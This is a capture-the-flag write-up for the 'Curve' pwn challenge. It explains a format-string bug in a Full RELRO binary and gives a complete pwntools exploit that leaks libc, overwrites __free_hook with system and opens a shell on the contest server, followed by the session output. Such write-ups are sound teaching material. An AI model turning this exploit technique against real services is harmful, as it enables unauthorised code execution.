## Curve
> Points: 398>> Solves: 28
### Description:One of the hardest parts of making a contest is making sure that it has a good curve aka a good problem difficulty distribution. This lazily made problem was made to make the beginning pwn curve a little less steep. 
Connect with "nc 143.198.127.103 42004".
Author: Rythm
### Attachments:```curve.zip```
## Analysis:
This binary can be input 3 times, the first time(`Input 1`) it is output with `puts`, the second time(`Input 2`) there is no output, and the third time(`Input 3`) it is output directly with `printf`. Therefore, there is a vulnerability of `FSB (Format String Bug)` in the third input.However, since this binary is `Full RELRO`, `GOT` cannot be rewritten with `FSB`. The method of rewriting the return address with `FSB` does not have enough read input size.Also, since the third input is written to the area allocated by `malloc` in the heap, the address that can be used by `FSB` cannot be specified.
Below is the compilation result of the main () function by `Ghidra`.```cundefined8 main(void)
{  char *__format;  long in_FS_OFFSET;  char local_98 [136];  long local_10;   local_10 = *(long *)(in_FS_OFFSET + 0x28);  setbuf(stdout,(char *)0x0);  setbuf(stderr,(char *)0x0);  __format = (char *)malloc(0x80);  puts("Oh no! Evil Morty is attempting to open the central finite curve!");  puts("You get three inputs to try to stop him.\n");  puts("Input 1:");  read(0,local_98,0xb0);  puts(local_98);  puts("Input 2:");  read(0,local_98,0x80);  puts("\nInput 3:");  read(0,__format,0x80);  printf(__format);　　　　　　　　　<=========== There is a `FSB` vulnerability here  free(__format);  puts("\nLol how could inputting strings stop the central finite curve.");  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {                    /* WARNING: Subroutine does not return */    __stack_chk_fail();  }  return 0;}```
The result of checksec. We can see that it is `Full RELRO`.```bash$ checksec curve[*] '/home/mito/CTF/PBjar_CTF_2021/Pwn_Curve/curve/curve'    Arch:     amd64-64-little    RELRO:    Full RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled```
Since the character string input in `Input 2` is output as `0x4141414141414141` at the 8th position of `Input 3`, We can see that the value of `index` is `8`.```bashInput 2:AAAAAAAA
Input 3:BBBBBBBB,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%pBBBBBBBB,0x55555555a2a0,0x80,0x7ffff7ef5e8e,0xa,0x7ffff7fc5be0,(nil),0x55555555a2a0,0x4141414141414141,0xa,(nil),(nil),(nil),(nil),(nil)
```
## Solution:
First, the libc address leak can be done by entering a `0x98` size string in `Input 1` to leak the address `__libc_start_main + 234`. We can calculate the base address of libc.
```bashgdb-peda$ x/80gx 0x7fffffffdec00x7fffffffdec0:	0x0000000000000000	0x000055555555a2a00x7fffffffded0:	0x4141414141414141	0x41414141414141410x7fffffffdee0:	0x4141414141414141	0x0000000000000a610x7fffffffdef0:	0x0000000000000000	0x00000000000000000x7fffffffdf00:	0x0000000000000000	0x00000000000000000x7fffffffdf10:	0x0000000000f0b5ff	0x00000000000000c20x7fffffffdf20:	0x00007fffffffdf47	0x00005555555553250x7fffffffdf30:	0x0000000000000000	0x00000000000000000x7fffffffdf40:	0x00005555555552e0	0x00005555555550b00x7fffffffdf50:	0x00007fffffffe050	0x6b35ac597c1922000x7fffffffdf60:	0x00005555555552e0	0x00007ffff7e2dd0a  <=== Leak this `0x00007ffff7e2dd0a (__ libc_start_main + 234)`0x7fffffffdf70:	0x00007fffffffe058	0x0000000100000000```
I use `free(__format)` which is called at the end of the binary to start the shell('/bin/sh'). I use FSB to write the address of the `system` function in `__free_hook`.At this time, first I write string of `'/bin/sh;'` so that it is in the form of `free('/bin/sh; FSB string')`. Then, when I call free(), it will be in the form of `system('/bin/sh; ...')`, so I can start the shell('/bin/sh').
Also, `Input 2` writes the address of `__free_hook`, and `INPUT 3` writes the character string of `FSB`. Since the input size of `Input 2` and` Input 3` is as large as `0x80`, we can write the same character string created by `fmtstr_payload` to `Input 2` and` Input 3` as shown below.
```pythonindex = 8writes = {free_hook: system_addr}buf = b"/bin/sh;" + fmtstr_payload(index+1, writes, numbwritten=8, write_size='short')```
`fmtstr_payload` creates a string like the one below.```bash    00000000  2f 62 69 6e  2f 73 68 3b  25 36 35 30  39 36 63 25  │/bin│/sh;│%650│96c%│    00000010  31 34 24 6c  6c 6e 25 33  33 31 39 39  63 25 31 35  │14$l│ln%3│3199│c%15│    00000020  24 68 6e 25  33 30 36 39  33 63 25 31  36 24 68 6e  │$hn%│3069│3c%1│6$hn│    00000030  70 8e fc f7  ff 7f 00 00  74 8e fc f7  ff 7f 00 00  │p···│····│t···│····│    00000040  72 8e fc f7  ff 7f 00 00  0a                        │r···│····│·│```
## Exploit code:```pythonfrom pwn import *
context(os='linux', arch='amd64')#context.log_level = 'debug'
BINARY = './curve'elf  = ELF(BINARY)
if len(sys.argv) > 1 and sys.argv[1] == 'r':  HOST = "143.198.127.103"  PORT = 42004  s = remote(HOST, PORT)  libc = ELF("./libc-2.31.so")else:  s = process(BINARY)  libc = elf.libc  #s = process(BINARY, env={'LD_PRELOAD': './libc-2.31.so'})  #libc = ELF("./libc-2.31.so")
# libc leaks.sendlineafter("Input 1:\n", "A"*0x98)s.recvuntil("A"*0x98)libc_leak = u64(s.recvuntil("\nI")[:-2] + b"\x00\x00")libc_base = libc_leak - libc.sym.__libc_start_main - 234free_hook = libc_base + libc.sym.__free_hooksystem_addr = libc_base + libc.sym.systemprint("libc_leak =", hex(libc_leak))print("libc_base =", hex(libc_base))
index = 8
# Write system address in __free_hook to call system('/bin/sh')writes = {free_hook: system_addr}buf = b"/bin/sh;" + fmtstr_payload(index+1, writes, numbwritten=8, write_size='short')
s.sendlineafter("2:\n", buf)s.sendlineafter("3:\n", buf)
s.interactive()```
## Results:```bashmito@ubuntu:~/CTF/PBjar_CTF_2021/Pwn_Curve/curve$ python3 solve_fmtstr.py r[*] '/home/mito/CTF/PBjar_CTF_2021/Pwn_Curve/curve/curve'    Arch:     amd64-64-little    RELRO:    Full RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled[+] Opening connection to 143.198.127.103 on port 42004: Done[*] '/home/mito/CTF/PBjar_CTF_2021/Pwn_Curve/curve/libc-2.31.so'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabledlibc_leak = 0x7f2d588ced0alibc_base = 0x7f2d588a8000[*] Switching to interactive mode/bin/sh;...$ iduid=1000(user) gid=1000(user) groups=1000(user)$ ls -ltotal 2028lrwxrwxrwx   1 root root       7 Aug 27 07:16 bin -> usr/bindrwxr-xr-x   2 root root    4096 Apr 15  2020 bootdrwxr-xr-x   5 root root     340 Sep 17 04:48 devdrwxr-xr-x   1 root root    4096 Sep 17 04:48 etc-rwxr-xr-x   1 root root      64 Sep 17 04:28 flag.txtdrwxr-xr-x   1 root root    4096 Sep 17 04:47 home-rwxr-xr-x   1 root root  177928 Sep 17 04:28 ld-2.31.solrwxrwxrwx   1 root root       7 Aug 27 07:16 lib -> usr/liblrwxrwxrwx   1 root root       9 Aug 27 07:16 lib32 -> usr/lib32lrwxrwxrwx   1 root root       9 Aug 27 07:16 lib64 -> usr/lib64-rwxr-xr-x   1 root root 1839792 Sep 17 04:28 libc-2.31.solrwxrwxrwx   1 root root      10 Aug 27 07:16 libx32 -> usr/libx32drwxr-xr-x   2 root root    4096 Aug 27 07:16 mediadrwxr-xr-x   2 root root    4096 Aug 27 07:16 mntdrwxr-xr-x   2 root root    4096 Aug 27 07:16 optdr-xr-xr-x 262 root root       0 Sep 17 04:48 procdrwx------   2 root root    4096 Aug 27 07:27 rootdrwxr-xr-x   5 root root    4096 Aug 27 07:27 runlrwxrwxrwx   1 root root       8 Aug 27 07:16 sbin -> usr/sbindrwxr-xr-x   2 root root    4096 Aug 27 07:16 srvdr-xr-xr-x  13 root root       0 Sep 17 04:48 sysdrwxrwxrwt   1 root root    4096 Sep 17 04:38 tmpdrwxr-xr-x   1 root root    4096 Aug 27 07:16 usrdrwxr-xr-x   1 root root    4096 Aug 27 07:27 var$ cat flag.txtflag{n0w_y0ur3_3v1l_m0rty_t00_s00n3r_0r_l4t3r_w3_4ll_4r3_s4dg3}```
## Reference:
https://inaz2.hatenablog.com/entry/2014/04/20/041453